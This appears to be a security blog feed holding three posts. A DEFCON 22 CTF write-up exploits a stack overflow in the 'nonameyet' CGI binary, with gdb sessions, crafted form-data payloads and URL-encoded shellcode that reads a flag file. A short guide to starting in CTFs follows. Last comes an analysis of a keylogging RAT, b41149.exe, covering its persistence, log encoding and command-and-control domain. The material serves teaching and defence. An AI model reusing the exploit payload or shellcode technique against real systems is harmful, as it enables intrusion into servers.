ESI: 0x48484747 ('GGHH')
EDI: 0xb7fd9000 --> 0x0
EBP: 0xbffff638 ("LLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV")
ESP: 0xbffff60a ("AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV")
EIP: 0x804cfa2 (rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804cf9a:   mov    edi,eax
   0x804cf9c:   mov    esi,DWORD PTR [ebp-0x14]
   0x804cf9f:   mov    ecx,DWORD PTR [ebp-0x18]
=> 0x804cfa2:   rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
   0x804cfa4:   mov    ebx,DWORD PTR [ebp+0x8]
   0x804cfa7:   mov    DWORD PTR [ebx],eax
   0x804cfa9:   mov    eax,DWORD PTR [ebp-0x18]
   0x804cfac:   mov    DWORD PTR [ebx+0x4],eax
 [------------------------------------------------------------------------------]
Stopped reason: SIGSEGV
0x0804cfa2 in ?? ()
gdb-peda$

We can go back to our input file and replace the “FFGG” with NULLS so that no copy is executed. My first attempt was to inject raw NULL bytes into this file. I ran the following python script to get the job done. It’s not pretty, but it worked. I could also have used vi with %!xxd and %!xxd –r or any other hex editor to makes these changes.

$ python
Python 2.7.5+ (default, Feb 27 2014, 19:39:55)
[GCC 4.8.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.>>> a=open("formdata","rb")>>> t=a.read()>>> t.find("FFGG")
286>>> l=t.find("FFGG")>>> t[l:l+4]'FFGG'>>> def strow(instr, owstr, offset):
...   return instr[:offset] + owstr + instr[offset+len(owstr):]
...>>> p=strow(t, "\0\0\0\0", 286)>>> y=open("file2","wb")>>> y.write(p)>>> y.close()

While the python script properly modified the file, this technique did not work. ECX, instead of NULL, was set to 0x2d2d2d2d or “—-“. This value is coming from our boundary on the multipart data. I assumed that because we used NULL bytes that they must be causing early termination of string parsing routines. What if we URL encode the NULL bytes?

Setting the time variable to “AAAABBBBCCCCDDDDEEEEFF%00%00%00%00GGHHHHIIII” and debugging once again yields:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata
Content-type: text/html
Cookie: AA==<p>ERROR: 906</p><meta http-equiv='refresh' content='0;url=../thanks.php'>[Inferior 1 (process 1834) exited normally]
Warning: not running or target is remote
gdb-peda$

Well that was a step in the wrong direction! There is no crash now. We are seeing the ERROR: 906 coming back, which is what happens when the photo file being uploaded fails to open. The cookie coming back to us in the HTTP header is the name of this file. The base64 decoding of “AA==“ is 0x00, so it is understandable that that file did not open. I think we are running into similar issues with the string parsing again. This is as far as I got during the actual CTF.

It was not until afterwards that it was pointed out to me that we can double URL encode the NULL values. If URL encoding once makes 0x00 = %00 then URL encoding twice will be 0x00 = %00 = %25%30%30. With my formdata file now looking like this:

-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="%25Time%25"
Content-Type: application/octet-stream

file contents

-----------------------------13141138687192
Content-Disposition: form-data; name="time"

AAAABBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP
-----------------------------13141138687192—

We get a debugger output of:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xb7fd9000 --> 0x0
EBX: 0x4f4f4e4e ('NNOO')
ECX: 0x0
EDX: 0x80500a6 --> 0x0
ESI: 0x48484747 ('GGHH')
EDI: 0xb7fd9000 --> 0x0
EBP: 0xbffff638 ("LLMMMMNNNNOOOOPPPP")
ESP: 0xbffff60a ("AAAABBBBCCCCDDDDEEEEFF")
EIP: 0x804cfa7 (mov    DWORD PTR [ebx],eax)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804cf9f:   mov    ecx,DWORD PTR [ebp-0x18]
   0x804cfa2:   rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
   0x804cfa4:   mov    ebx,DWORD PTR [ebp+0x8]
=> 0x804cfa7:   mov    DWORD PTR [ebx],eax
   0x804cfa9:   mov    eax,DWORD PTR [ebp-0x18]
   0x804cfac:   mov    DWORD PTR [ebx+0x4],eax
   0x804cfaf:   leave
   0x804cfb0:   ret
[------------------------------------stack-------------------------------------]
0000| 0xbffff60a ("AAAABBBBCCCCDDDDEEEEFF")
0004| 0xbffff60e ("BBBBCCCCDDDDEEEEFF")
0008| 0xbffff612 ("CCCCDDDDEEEEFF")
0012| 0xbffff616 ("DDDDEEEEFF")
0016| 0xbffff61a ("EEEEFF")
0020| 0xbffff61e --> 0x4646 ('FF')
0024| 0xbffff622 --> 0x47470000 ('')
0028| 0xbffff626 ("HHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0804cfa7 in ?? ()
gdb-peda$

Awesome, we got past the rep movs with a NULL ECX and we are now 9 bytes away. The crash is now on the instruction 0x804cfa7: mov DWORD PTR [ebx],eax where EBX is 0x4f4f4e4e. We are writing EAX to this pointer. We can set this to be anywhere in memory that is writeable to avoid this crash. At the offset for “NNOO” let’s put in 0x0804F0EC, which is just past the end of the .BSS section. That address is mapped into our memory space and will be NULL and unused throughout the program. We will need to little endian encode and URL encode this pointer resulting in: %EC%F0%04%08.

Now with a formdata file of:

$ cat formdata
-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="%25Time%25"
Content-Type: application/octet-stream

file contents

-----------------------------13141138687192
Content-Disposition: form-data; name="time"

AAAABBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMMMMNN%EC%F0%04%08OOPPPP
-----------------------------13141138687192—

We get a debugger output of:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x804f0ec --> 0xb7fd9000 --> 0x0
ECX: 0x0
EDX: 0x80500a6 --> 0x0
ESI: 0x48484747 ('GGHH')
EDI: 0xb7fd9000 --> 0x0
EBP: 0x4d4d4c4c ('LLMM')
ESP: 0xbffff640 --> 0x804f0ec --> 0xb7fd9000 --> 0x0
EIP: 0x4e4e4d4d ('MMNN')
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x4e4e4d4d
[------------------------------------stack-------------------------------------]
0000| 0xbffff640 --> 0x804f0ec --> 0xb7fd9000 --> 0x0
0004| 0xbffff644 ("OOPPPP")
0008| 0xbffff648 --> 0xff005050
0012| 0xbffff64c --> 0x1
0016| 0xbffff650 --> 0xb7e2bb98 --> 0x2a5c ('\\*')
0020| 0xbffff654 --> 0xb7fdc858 --> 0xb7e1f000 --> 0x464c457f
0024| 0xbffff658 --> 0xbffff866 ("/home/bool/nonameyet.cgi")
0028| 0xbffff65c --> 0x80500a0 ("%Time%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x4e4e4d4d in ?? ()
gdb-peda$

Excellent! EIP: 0x4e4e4d4d. I can now control the next instruction that this program executes. Our goal is to send EIP back to a buffer that we control. Let’s find everywhere in memory that our input string exists:

gdb-peda$ searchmem AAAABBBB
Searching for 'AAAABBBB' in: None ranges
Found 3 results, display max 3 items:
 [heap] : 0x80501b8 ("AAAABBBBCCCCDDDDEEEEFF")
 mapped : 0xb7fda108 ("AAAABBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMMMMNN%EC%F0%04%08OOPPPP\r\n", '-'<repeats 29 times>, "13141138687192--\r\n")
[stack] : 0xbffff60a ("AAAABBBBCCCCDDDDEEEEFF")
gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x0804e000 r-xp      /home/bool/nonameyet.cgi
0x0804e000 0x0804f000 r-xp      /home/bool/nonameyet.cgi
0x0804f000 0x08050000 rwxp      /home/bool/nonameyet.cgi
0x08050000 0x08071000 rwxp      [heap]
0xb7e1e000 0xb7e1f000 rwxp      mapped
0xb7e1f000 0xb7fcd000 r-xp      /lib/i386-linux-gnu/libc-2.17.so
0xb7fcd000 0xb7fcf000 r-xp      /lib/i386-linux-gnu/libc-2.17.so
0xb7fcf000 0xb7fd0000 rwxp      /lib/i386-linux-gnu/libc-2.17.so
0xb7fd0000 0xb7fd3000 rwxp      mapped
0xb7fd9000 0xb7fdd000 rwxp      mapped
0xb7fdd000 0xb7fde000 r-xp      [vdso]
0xb7fde000 0xb7ffe000 r-xp      /lib/i386-linux-gnu/ld-2.17.so
0xb7ffe000 0xb7fff000 r-xp      /lib/i386-linux-gnu/ld-2.17.so
0xb7fff000 0xb8000000 rwxp      /lib/i386-linux-gnu/ld-2.17.so
0xbffdf000 0xc0000000 rwxp      [stack]

I have three choices for direct execution: heap, mapped, or stack. All of the sections are executable. If I run the binary again and do the same search we can determine if any of these sections are affected by ASLR. They all looked stable between runs to me. Remember this for later.

My preference is to use the mapped section because it looks like it has a complete copy of the data exactly as I sent it in. Other options here are to look for more input vectors, specifically cookies and other variables. Let’s use python again to set the “AAAA” in our input to \xcc\xcc\xcc\xcc so that we might trigger an int 3 debugging break point.

Next, let’s overwrite the “MMNN” offset that was in EIP with the little endian URL encoded address of %08%a1%fd%b7 (0xb7fda108) that should point directly to the start of our data (int 3) in the mapped section. If all goes well, we should expect to see a SIGTRAP.

The formdata file is:

$ cat formdata
-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="%25Time%25"
Content-Type: application/octet-stream

file contents

-----------------------------13141138687192
Content-Disposition: form-data; name="time"

▒▒▒▒BBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMM%08%a1%fd%b7%EC%F0%04%08OOPPPP
-----------------------------13141138687192—

The debugger output is:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ set args < formdata
gdb-peda$ r
Starting program: /home/bool/nonameyet.cgi < formdata

Program received signal SIGTRAP, Trace/breakpoint trap.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x804f0ec --> 0xb7fd9000 --> 0x0
ECX: 0x0
EDX: 0x80500a6 --> 0x0
ESI: 0x48484747 ('GGHH')
EDI: 0xb7fd9000 --> 0x0
EBP: 0x4d4d4c4c ('LLMM')
ESP: 0xbffff640 --> 0x804f0ec --> 0xb7fd9000 --> 0x0
EIP: 0xb7fda109 --> 0x42cccccc
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fda0fc:  gs
   0xb7fda0fd:  cmp    eax,0x6d697422
   0xb7fda102:  and    cl,BYTE PTR gs:0xcc0a0d0a
=> 0xb7fda109:  int3
   0xb7fda10a:  int3
   0xb7fda10b:  int3
   0xb7fda10c:  inc    edx
   0xb7fda10d:  inc    edx
[------------------------------------stack-------------------------------------]
0000| 0xbffff640 --> 0x804f0ec --> 0xb7fd9000 --> 0x0
0004| 0xbffff644 ("OOPPPP")
0008| 0xbffff648 --> 0xff005050
0012| 0xbffff64c --> 0x1
0016| 0xbffff650 --> 0xb7e2bb98 --> 0x2a5c ('\\*')
0020| 0xbffff654 --> 0xb7fdc858 --> 0xb7e1f000 --> 0x464c457f
0024| 0xbffff658 --> 0xbffff866 ("/home/bool/nonameyet.cgi")
0028| 0xbffff65c --> 0x80500a0 ("%Time%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGTRAP
0xb7fda109 in ?? ()
gdb-peda$

Great! We have arbitrary code execution now. Unfortunately, the start of our string only affords us 22 bytes of execution before we run into the NULL encoded ECX register from earlier. We now have two options. The first is to make the filename larger than %25Time%25 so that more stack is allocated and our offsets are further into the file. The second option I see is to encode a short relative jump instruction in place of the int 3. Because we are doing this from a flat file and not an exploit script it would be very easy to lose track of shifting offsets, so I opted for the second option.

Currently, the start of the “OOPP” that ends our input string is 105 bytes away. I can encode a jump as %eb%67 to jump +105 bytes forward and land right on my data. After a bit of trial and error building the input file I was able to line everything up just right and gain code execution when running in gdb. I simply replaced the “OOPPPP” with my shellcode to open /home/nonameyet/flag, read it to the stack, and write it to stdout. Note that this shellcode would not trigger the .bash_alias backdoor from earlier!

However, when I run it outside of the debugger I get a segmentation fault. This is a common annoyance when writing exploits. Things can change when they are being debugged. I ran a strace command to see if any of the shellcode was making system calls:

$ ./nonameyet.cgi < formdata2
…
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0xb76ff000
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xb7fda108} ---
+++ killed by SIGSEGV (core dumped) +++

Nope, I never got execution. With si_addr=0xb7fda108 I am at least still jumping to the correct spot. What I notice is that the mmap call is returning 0xb76ff000. This is not what I was seeing as a consistent address for my data on the 0xb7fda000 page. So, that address does not exist and we need to go back to pick one of the other two points where we have code. Let’s pick the heap this time with an address of 0x080501b8 as our new EIP.

After modifying the formdata file again and setting a break point on the return from the interesting function, it looks like the heap address has moved as well. It is now at [heap] : 0x8050318 (“AAAABBBBCCCCDDDDEEEEFF”). I suggest that this changed because our input lengths have changed since I last looked. I’ve added shellcode now after all.

The base address for the heap is still in the same spot: 0x08050000. It is just the offset within that page that has shifted. Let’s put in the new address for EIP and try our luck with yet another run. The other thing that is different about this heap location is that all of our data has already been URL decoded. Thus, we will need to URL encode all of our binary values. This includes the shellcode.

This time it hits a SIGTRAP again and we can redo our relative short jump calculation jump to land on arbitrary shellcode. We are executing at 0x08050318 and we need to jump to 0x08050352, or 58 bytes away, which means we should us an opcode of “\xeb\x38”. Setting this at the start jumps perfectly to our shellcode, which now executes just fine in the debugger. Again.

But, once again, running without the debugger attached produces a crash! It appears that the heap moves as well. This makes logical sense. If the mmap call is moving and the heap is allocated in a similar way, then they both should move with ASLR. We could try the stack location by building in a large NOP (\x90) sled before our shellcode and go about guessing stack addresses despite ASLR, brute forcing the return address used for EIP. I’ve shamefully used this technique in past CTF events with success.

The whole problem here, and the reason I’ve failed to exploit twice, is that GDB has disabled ASLR. Remember when I checked it earlier? I could have saved myself a lot of time if I had realized this back then. While having your debugger turn off ASLR makes debugging easier, it leads to false hope. Let this be a lesson to always run the set disable-randomization off command in GDB when starting exploit development on a binary. I believe this default ASLR disabled state is actually coming from the PEDA GDB init script I am using. I have another idea that should work with ASLR.

Remember that data structure passed into the interesting function? Well, there is no reason why we only have to fill out the “filename” and “time” variables. If we set the “date” variable there will be a pointer to the date value on the stack. We can put our shellcode in there and use a technique called a return sled to get down the stack.

Here is a short debugging session showing the stack at the beginning of the interesting function:

$ gdb ./nonameyet.cgi
Reading symbols from ./nonameyet.cgi...(no debugging symbols found)...done.
gdb-peda$ break *0x0804CE3B
Breakpoint 1 at 0x804ce3b
gdb-peda$ set args < formdata3
gdb-peda$ r

Breakpoint 1, 0x0804ce3b in ?? ()
gdb-peda$ stack 20
0000| 0xbffff63c --> 0x80492eb (test   eax,eax) # return address in main()
0004| 0xbffff640 --> 0xbffff65c --> 0x80500a0 ("%Time%")
0008| 0xbffff644 --> 0xbffff68c --> 0xe
0012| 0xbffff648 --> 0xffffffff
0016| 0xbffff64c --> 0x1
0020| 0xbffff650 --> 0xb7e2bb98 --> 0x2a5c ('\\*')
0024| 0xbffff654 --> 0xb7fdc858 --> 0xb7e1f000 --> 0x464c457f
0028| 0xbffff658 --> 0xbffff866 ("/home/bool/nonameyet.cgi")
0032| 0xbffff65c --> 0x80500a0 ("%Time%")
0036| 0xbffff660 --> 0x7
0040| 0xbffff664 --> 0x0
0044| 0xbffff668 --> 0x0
0048| 0xbffff66c --> 0x80501b8 --> 0x414138eb   # this is the time variable
0052| 0xbffff670 --> 0x3b (';')                 # time variable length
0056| 0xbffff674 --> 0x8050348 --> 0xf0ec8166   # date variable
0060| 0xbffff678 --> 0x54 ('T')                 # date variable length
0064| 0xbffff67c --> 0x0
0068| 0xbffff680 --> 0x0
0072| 0xbffff684 --> 0x0
0076| 0xbffff688 --> 0x0
gdb-peda$

If we replace our original return address with 0x08048945 (the address of a ret instruction) and then immediately following this address place the same address again, the program will return twice and the stack will be incremented by 8. We can do this all the way down the stack until we reach our pointer to the date variable. A little math tells us (0xbffff674 - 0xbffff63c) / 4 that we need to put the pointer to the ret instruction on the stack 14 times to reach the pointer to our shellcode.

One problem. When I go to edit the time variable I see that we have &l;teip> then <bss> address in the time variable. This was required to survive the write from earlier. I will not be able to write to the text section of the binary so I cannot use this address for the ret sled. Because the number of addresses is even, I can point the return sled to a pop ret gadget and have a pop/ret sled instead. There is a pop just one byte before the previous ret address at 0x08048944. I will still need to put this address in 14 times but every other instance will not be executed.

My first attempt at this failed as well! When I looked at the stack, the pointer for the “date” variable was not where it should be. The length was correct but we were returning into NULLs. Looking a little closer, I noticed that the pointer for this variable ended with 0x00. Of course, the time variable was null terminating on the stack. My length was off by one. Since I am already doing a pop/ret sled the pointer immediately before the date pointer is not executed. It could really be anything. I made the time variable one byte shorter and FINALLY gained code execution outside of a debugger. Here is the completed formdata file and execution printing out /home/nonameyet/flag:

$ cat formdata
-----------------------------13141138687192
Content-Disposition: form-data; name="photo"; filename="%25Time%25"
Content-Type: application/octet-stream

file contents

-----------------------------13141138687192
Content-Disposition: form-data; name="time"

%eb%38AABBBBCCCCDDDDEEEEFF%25%30%30%25%30%30%25%30%30%25%30%30GGHHHHIIIIJJJJKKKKLLLLMM%44%89%04%08%EC%F0%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04%08%44%89%04
-----------------------------13141138687192
Content-Disposition: form-data; name="date"

%66%81%EC%F0%01%83%E4%F8%EB%30%5E%89%F3%31%C9%31%C0%B0%05%CD%80%89%C3%89%F1%31%D2%B2%FF%31%C0%B0%03%CD%80%BB%FF%FF%FF%FF%F7%DB%89%F1%88%C2%31%C0%B0%04%CD%80%31%C0%B0%01%CD%80%E8%CB%FF%FF%FF%2F%68%6F%6D%65%2F%6E%6F%6E%61%6D%65%79%65%74%2F%66%6C%61%67%00
-----------------------------13141138687192--

$ ./nonameyet.cgi < formdata
Angry Rhinoceros And then I found five dollars.

The only thing left to do is to send this over a socket to the web server so that I can pull back the flag on the remote system. Too bad the service was offline by the time I completed the challenge.

There are other ways to go about landing this stack overflow. Another public write up is here (in Chinese). It looks like this team made a ROP chain to getenv() that would read in cookie data. The same stack overflow bug was used.

Big thanks to HJ and Legit BS for a fun CTF problem. I spent way too much time playing with it. If you enjoyed this walk through or have questions or comments, you are welcome to email me: svittitoe at endgame.com.

How to Get Started in CTF

$
0
0

Over the past two weeks, I’ve examined two different problems from the DEFCON 22 CTF Qualifications: “shitsco” and “nonameyet”. Thank you for all of the comments and questions. The most popular question I received was “How can I get started in CTFs?” It wasn’t so long ago that I was asking myself the same thing, so I wanted to provide some suggestions and resources for those of you interested in pursuing CTFs. The easiest way to start is to sign up for an introductory CTF like CSAWPico CTFMicrocorruption, or any of the other dozens available. Through practice, patience, and dedication, your skills will improve with time.

If you’re motivated to take a crack at some of the problems outside of the competition setting, most CTF competitions archive problems somewhere. Challenges tend to have a wide range of difficulty levels as well. Be careful about just picking the easiest problems. Difficulty is subjective based on your individual skillset. If your forte is forensics but you are not skilled in crypto, the point values assigned to the forensics problems will seem inflated while the crypto challenges will seem undervalued to you. The same perception biases hold true for CTF organizers. This is one reason why assessing the difficulty of CTF problems is so challenging.

If you’ve tried several of the basic problems on your own and are still struggling, then there are plenty of self-study opportunities. CTF competitions generally focus on the following skills: reverse engineering, cryptography, ACM style programming, web vulnerabilities, binary exercises, networking, and forensics. Pick one and focus on a single topic as you get started.

1) Reverse Engineering. I highly suggest that you get a copy of IDA Pro. There is a free version available as well as a discounted student license. Try some crack me exercises. Write your own C code and then reverse the compiled versions. Repeat this process while changing compiler options and program logic. How does an “if” statement differ from a “select” in your compiled binary? I suggest you focus on a single architecture initially: x86, x86_64, or ARM. Read the processor manual for whichever one you choose. Book recommendations include:

2) Cryptography. While this is not my personal strength, here are some resources to check out:

3) ACM style programming. Pick a high level language. I recommend Python or Ruby. For Python, read Dive into Python (free) and find a pet project you want to participate in. It is worth noting that Metasploit is written in Ruby. Computer science classes dealing with algorithms and data structures will go a long way in this category as well. Look at past programming challenges from CTF and other competitions – do them! Focus on creating a working solution rather than the fastest or most elegant solution, especially if you are just getting started.

4) Web vulnerabilities. There are many web programming technologies out there. The most popular in CTF tend to be PHP and SQL. The php.net site is a fantastic language reference. Just search any function you are curious about. After PHP, the next most common way to see web challenges presented is with Python or Ruby scripts. Notice the overlap of skills? There is a good book on web vulnerabilities, The Web Application Hacker’s Handbook. Other than that, after learning some of the basic techniques, you might also think about gaining expertise in a few of the more popular free tools available. These are occasionally useful in CTF competitions too. This category also frequently overlaps with cryptography in my experience.

5) Binary exercises. This is my personal favorite. I recommend you go through reverse engineering before jumping into the binary exercises. There are a few common vulnerability types you can learn in isolation: stack overflowsheap overflows, and format string bugs for starters. A lot of this is training your mind to recognize vulnerable patterns. Looking at past vulnerabilities is a great way to pick up these patterns. You should also read through:

6) Forensics/networking. A lot of CTF teams tend to have “the” forensics guy. I am not that guy, but I suggest you learn how to use the 010 hex editor and don’t be afraid to make absurd, wild, random guesses as to what could be going on in some of these problems.

Finally, Dan Guido and company recently put out the CTF field guide, which is a great introduction to several of these topics.

Technical Analysis: Binary b41149.exe

$
0
0

In keeping with the theme of my previous post, “malware never truly dies – it just keeps on compromising”, today I’d like to investigate a binary that surfaced a couple of months ago. While the binary itself is young, the domain it reaches back to for Command and Control (CnC) has been used by nefarious binaries - like Cryp_SpyEye, AUTOIT.Trojan.Agent-9 and TROJ_SPNR - since at least October 2012. Hence, this is another example of how “old” malware continues to compromise long after it has been discovered.

What really caught my eye about this binary was one of its obfuscation techniques. The literal file name of the binary is unknown, so for the purposes of examining it, I renamed it b41149.exe, which are the first six characters of its SHA256 hash. The complete hash will be provided later in the file identifier section.

An initial look at b41149.exe revealed it to be a custom-packed binary with an internal file name of “microsft.exe”, complete with a Microsoft icon (see Figure 1).


Figure 1: Binary Icon

Even more interesting was an embedded JPEG at offset 11930A. As of this writing, no purpose for this JPEG has been uncovered. Could this be some type of calling card? Figure 2 reflects the embedded JPEG in a hex view while Figure 3 displays the actual image file.


Figure 2: Hew View of Embedded JPEG


Figure 3: Embedded JPEG Inside b4119.exe

Another curious aspect of b41149.exe, and undoubtedly much more important than the JPEG, was the fact that it contained a Unicode-encoded binary between offset 508B and offset 117C0A. This is the part that really caught my eye. I’ve seen embedded binaries obfuscated in this manner primarily in RTF files, and also in PDFs and DOCs, but I personally haven’t come across one yet that used this obfuscation scheme while embedded inside another binary. It turns out the embedded binary is the real workhorse here, and Figure 4 reflects how it appears inside b41149.exe.


Figure 4: Unicode-encoded Binary Inside b4119.exe

B41149.EXE in Runtime

Upon execution, b41149.exe self-replicates to C:\WINDOWS\System32\mony\System.exe with hidden attributes. In addition, a visibly noticeable command shell is opened. System.exe, the malware’s running process, then hooks to the malware-spawned command shell. However, upon reboot, System.exe hooks to the default browser rather than a command shell, but since the browser window isn’t opened this would not be visibly noticeable to the affected user. Additionally, during runtime, b41149.exe self-replicates to six other locations throughout the system and creates one copy of itself that has the following 10 bytes appended to it - 0xFE154DE7184501CD2325. The binary also sets several registry value keys and stores encoded keylog data as logs.dat in the logged on users %AppData% folder. Once loaded, the running process attempts to connect to a.servecounterstrike.com over port 115, and it persists on a victim host through a registry RUN key as well as on a copy of the binary in Start Up. The following table provides a chronological gist of the malware on a victim host during runtime.




Table 1: Chronological Gist of Malware on an Infected Host

As previously stated, the Unicode-encoded binary embedded inside b41149.exe (reflected in Figure 4) is the real power of this malware - it does all the heavy lifting. As a stand-alone binary, it will do everything described in Table 1, except the self-replications, other than to %System%\mony\System.exe. In light of this, the remaining code in b41149.exe appears to be responsible for the other self-replications. However, before the embedded binary is functional (as a stand-alone), the PE Header must be fixed and 1,391 4-byte blocks of 0x00002000 must be removed. These 4-byte blocks of ‘filler’ are inserted every 400 bytes. The exact reason for this is unknown, but I would guess it’s to hinder reversing efforts. Once fixed, however, the binary will run independently and without any degradation of maliciousness.

The keylogged data file, logs.dat, is encoded with a 30-byte key, but not in its entirety. Each new process, such as notepad, a command shell, browser, etc., spawns a new line of keylogged data. And each line is delimited with #### (or 0x23232323). The key is then applied to each new line, following the delimiter. Deep dive analysis has not yet been done to uncover the actual encoding algorithm or loop. However, the encoded logs.dat file can be decoded by applying the following 30-byte key after each delimiter: 0E0A0B16050E0B0E160A05020304040C010B0E160604160A0B0604130B16. Figure 5 contains a hex view sample of the encoded logs.dat file.


Figure 5: Hex View of Encoded Keylogged Data in LOGS.DAT

The following table demonstrates the decoding process for the first line of logs.dat. Each encoded byte is XOR’d with its corresponding byte from the key, producing the decoded byte. For example 0x75 XOR with 0x0E becomes 0x7B; or in ASCII, U becomes {.


Table 2: Keylogger Decoding Scheme

Since the encoded line in Table 2 was only 9 bytes long, only the first 9 bytes of the key were utilized. However, the key does not resume from byte 10 on the next line of encoded text. It starts back from the beginning of the key (e.g. 0x0E0A0B, etc.) and it will repeat itself until that line of data concludes. To illustrate this further, the following table presents three different lines of encoded ASCII text followed by its decoded version. The alphabetic characters of the decoded text are upper case/lower case inverted, while the numeric and special characters are displaying normally.


Table 3: Decoded Keylog Data

The most critical component of this malware runs in memory, but it’s written to disc ever so briefly by b41149.exe. The temporary file, “XX—XX—XX.txt”, is resident on the system for only a fraction of a second in the logged-on user’s %Temp% directory. Once running, the malware-spawned command shell deletes it (as reflected above in Table 1). XX—XX—XX.txt is XOR encoded with 0xBC, and once decoded, it contains the name of the reach back CnC domain a.servecounterstrike.com, as well as a UPX-packed dynamic link library (DLL) file. Strings of the DLL suggest it contains remote access tool (RAT) capability. In addition, since the DLL runs in memory, and XX—XX—XX.txt does not remain resident on the victim host, its presence could be difficult to determine.

The beginning of XX—XX—XX.txt displays the un-encoded file structure path from where the malware was executed. This string is followed by the path of the running process, which is the self-replicated System.exe. Immediately after is where the XOR encoded CnC reach back domain and the connection port are located. A single byte XOR key, 0xBC, is used for this, and Figure 6 reflects a “before and after” encoding look at the beginning portion of XX—XX—XX.txt.


Figure 6: XX—XX—XX.txt Before and After Encoding

The DLL embedded inside XX—XX—XX.txt is near offset 1C192, but this is dependent upon the length of the path name from which the malware was executed. Figure 7 reflects a “before and after” encoding look at the embedded DLL’s DOS stub.


Figure 7: XOR Encoded DOS Stub Inside XX—XX—XX.TXT

As stated above, the DLL is UPX packed, but once unpacked, it reveals some interesting strings that provide some insight into its functionality. Table 4 lists some strings of interest.


Table 4: Strings of Interest

Persistency is a key component of malware, and b41149.exe persists on the victim host through several mechanisms, such as the following registry RUN keys:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\Policies: "C:\WINDOWS\system32\mony\System.exe"

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HKLM: "C:\WINDOWS\system32\mony\System.exe"

In addition, a copy of the binary is stored in the user’s start up folder as WinUpdater.exe. However, 10 bytes are appended to the binary as shown in figure 8.


Figure 8: Trailing Byte Comparison of B41149.EXE / WINUPDATER.EXE

An autorun.inf file is also created in the root of the C:\ directory. Below is the content of the INF file, which opens apphelp.exe - also located in the root of C.

[autorun]
open=apphelp.
ACTION=
Perform a Virus
Scan
[autorun]
open=apphelp.
ACTION=
Perform a Virus
Scan

One unusual aspect of this malware is that while the main action takes place in memory, it is actually very noisy in terms of activity on the victim host. It writes, deletes, then rewrites two files in rapid succession to the logged-on user’s %Temp% directory. The files are XxX.xXx and UuU.uUu. Each file contains the current timestamp of the victim host in an HH:MM:SS format. No other data is contained within those files. Interestingly, XxX.xXx is rewritten at half-second intervals, while UuU.uUu is rewritten every five seconds. Figure 9 displays the contents of these files captured moments apart from one another.


Figure 9: Content of XXX.XXX AND UUU.UUU

The most obvious sign of something being not quite right here is that upon execution, this binary spawns a command shell window for the user and everyone else to see. The shell is not a user interactive, because it cannot be typed in. However, if the shell is closed (or terminated), the malicious process, C:\WINDOWS\system32\mony\System.exe, restarts automatically. Interestingly, upon system reboot, the malicious process System.exe hooks to the default browser and runs as previously described, but it does not spawn a browser window. It’s possible that the visual command shell window is intended to trick the user into thinking there’s something wrong with the system, thus prompting a reboot.

Network Activity

As previously stated, the binary connects to a.servecounterstrike.com, which is compiled in memory. Upon execution of the binary, the victim host sends a DNS query for a.servecounterstrike.com, and once an IP address is returned, begins sending periodic SYN packet to the returned IP address over port 115, presumably until the attacker responds or until it receives further command from its CnC node. Figure 10 shows the PCAP of a compromised host’s initial connection with the malicious domain. This activity was captured from within an enclosed virtual network.


Figure 10: Initial Connection from a Compromised Host

